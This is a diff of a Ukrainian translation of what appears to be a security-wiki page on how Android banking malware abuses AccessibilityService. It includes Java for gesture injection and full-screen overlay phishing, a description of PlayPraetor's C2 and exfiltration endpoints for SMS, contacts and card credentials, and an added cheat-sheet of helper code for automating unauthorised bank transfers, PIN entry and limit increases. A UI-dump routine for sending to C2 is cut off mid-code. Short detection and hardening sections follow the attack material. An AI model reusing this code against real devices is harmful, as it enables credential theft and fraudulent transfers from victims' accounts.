+* ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`) для автоматизації будь-яких дій, що потрібні оператору,
+* відображення повноекранних оверлеїв поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без prompt `SYSTEM_ALERT_WINDOW`!),
+* безшумного надання додаткових runtime permissions шляхом кліку по системних діалогах від імені жертви.
+3. Екфільтрації даних або виконання **On-Device-Fraud (ODF)** в реальному часі поки користувач дивиться на цілком нормальний екран.
---
-## Запит на дозвіл
+## Requesting the permission
```xml
android:resource="@xml/evil_accessibility_config"/>
```
-Супутній XML визначає, як виглядатиме підроблений діалог:
+Супровідний XML визначає, як виглядатиме фальшиве діалогове вікно:
```xml
```
---
-## Примітиви автоматизації віддаленого інтерфейсу користувача
+## Примітиви віддаленої автоматизації UI
```java
public class EvilService extends AccessibilityService {
@Override
@@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
}
}
```
-З використанням лише цих двох API зловмисник може:
-* Розблокувати екран, відкрити банківський додаток, навігувати його UI-дерево та надіслати форму переказу.
-* Приймати кожен діалог дозволу, що з'являється.
-* Встановлювати/оновлювати додаткові APK через намір Play Store.
+Маючи лише ці два APIs, зловмисник може:
+* Розблокувати екран, відкрити банківський додаток, пройти його UI tree та відправити форму переказу.
+* Автоматично приймати всі діалоги дозволів, які з'являються.
+* Встановлювати/оновлювати додаткові APKs через Play Store intent.
---
-## Шаблони зловживання
+## Сценарії зловживань
-### 1. Фішинг з накладенням (Збирання облікових даних)
-Прозорий або непрозорий `WebView` додається до менеджера вікон:
+### 1. Overlay Phishing (Credential Harvesting)
+Прозорий або непрозорий `WebView` додається до window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
@@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
-Жертва вводить облікові дані у фальшиву форму, в той час як фоновий додаток отримує ті ж жести – жоден підозрілий запит "малювати поверх інших додатків" ніколи не відображається.
+Жертва вводить облікові дані у фальшиву форму, тоді як фоновий додаток отримує ті самі ж жести — ніколи не з’являється підозрілий "draw over other apps" prompt.
-> Детальний приклад: розділ *Accessibility Overlay Phishing* на сторінці Tapjacking.
+> Детальний приклад: секція *Accessibility Overlay Phishing* всередині сторінки Tapjacking.
### 2. Автоматизація шахрайства на пристрої
-Сімейства шкідливих програм, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може видавати команди високого рівня (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, досягаючи несанкціонованих транзакцій в реальному часі, які легко обходять багатофакторну аутентифікацію, пов'язану з цим пристроєм.
+Сімейства malware, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може надсилати високорівневі команди (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, описані вище, досягаючи в реальному часі несанкціонованих транзакцій, які легко обходять multi-factor-authentication, прив’язану до цього пристрою.
-### 3. Потокове відео та моніторинг
-Поєднуючи **MediaProjection API** з бібліотекою клієнта RTMP, RAT може транслювати живий буфер кадрів на `rtmp://:1935/live/`, надаючи противнику ідеальну ситуаційну обізнаність, поки движок Accessibility керує інтерфейсом.
+### 3. Трансляція екрана та моніторинг
+Поєднуючи **MediaProjection API** з RTMP клієнтською бібліотекою, RAT може транслювати live framebuffer на `rtmp://:1935/live/`, забезпечуючи противникові повну ситуаційну обізнаність, поки Accessibility engine керує UI.
---
-## PlayPraetor – робочий процес командування та контролю
+## PlayPraetor – command & control workflow
-1. **HTTP(S) heartbeat** – ітерувати по заздалегідь визначеному списку, поки один домен не відповість `POST /app/searchPackageName` з активним C2.
-2. **WebSocket (порт 8282)** – двосторонні JSON команди:
-* `update` – надсилати нові конфігурації/APK
-* `alert_arr` – налаштувати шаблони накладок
-* `report_list` – надіслати список цільових назв пакетів
-* `heartbeat_web` – підтримувати з'єднання
-3. **RTMP (порт 1935)** – трансляція живого екрану/відео.
-4. **REST ексфільтрація** –
-* `/app/saveDevice` (відбиток)
+1. **HTTP(S) heartbeat** – перебирає жорстко вбудований список, поки один домен не відповість `POST /app/searchPackageName` з активним C2.
+2. **WebSocket (port 8282)** – двонаправлені JSON-команди:
+* `update` – push new conf/APKs
+* `alert_arr` – configure overlay templates
+* `report_list` – send list of targeted package names
+* `heartbeat_web` – keep-alive
+3. **RTMP (port 1935)** – live screen/video streaming.
+4. **REST exfiltration** –
+* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (банківські облікові дані)
+* `/app/saveCardPwd` (bank creds)
-**AccessibilityService** є локальним движком, який перетворює ці команди з хмари на фізичні взаємодії.
+The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
---
-## Виявлення шкідливих служб доступності
+## Виявлення шкідливих accessibility services
* `adb shell settings get secure enabled_accessibility_services`
-* Налаштування → Доступність → *Завантажені служби* – шукайте додатки, які **не** з Google Play.
-* Рішення MDM / EMM можуть примусово застосовувати `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+), щоб блокувати завантажені служби.
-* Аналізуйте запущені служби:
+* Settings → Accessibility → *Downloaded services* – шукайте додатки, які **не** з Google Play.
+* MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services.
+* Analyse running services:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
-## Рекомендації щодо посилення безпеки для розробників додатків
+## Рекомендації щодо захисту для розробників додатків
-* Позначайте чутливі елементи з `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
-* Поєднуйте `setFilterTouchesWhenObscured(true)` з `FLAG_SECURE`, щоб запобігти викраденню натискань/накладок.
-* Виявляйте накладки, опитуючи `WindowManager.getDefaultDisplay().getFlags()` або API `ViewRootImpl`.
-* Відмовляйтеся від роботи, коли активна `Settings.canDrawOverlays()` **або** ненадійна служба доступності.
+* Позначайте чутливі view атрибутом `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
+* Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` щоб запобігти перехопленню натискань/оверлеїв.
+* Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API.
+* Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active.
---
-## Посилання
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
+```java
+// Helpers inside your AccessibilityService
+private List byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Приклад потоку (чеські → англійські мітки):
+- "Nová platba" (Нова оплата) → натиснути
+- "Zadat platbu" (Ввести платіж) → натиснути
+- "Nový příjemce" (Новий отримувач) → натиснути
+- "Domácí číslo účtu" (Номер внутрішнього рахунку) → перейти в поле і `ACTION_SET_TEXT`
+- "Další" (Далі) → натиснути → … "Zaplatit" (Сплатити) → натиснути → ввести PIN
+
+Fallback: жорстко задані координати з `dispatchGesture`, коли пошук по тексту не вдається через кастомні віджети.
+
+Також спостерігалося: попередні кроки до `check_limit` та `limit` шляхом переходу до інтерфейсу лімітів і збільшення денних лімітів перед переказом.
+
+## Текстова псевдо-трансляція екрана
+Для керування з низькою затримкою, замість повного відеострімінгу, вивантажуйте текстове представлення поточного дерева UI і повторно надсилайте його на C2.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i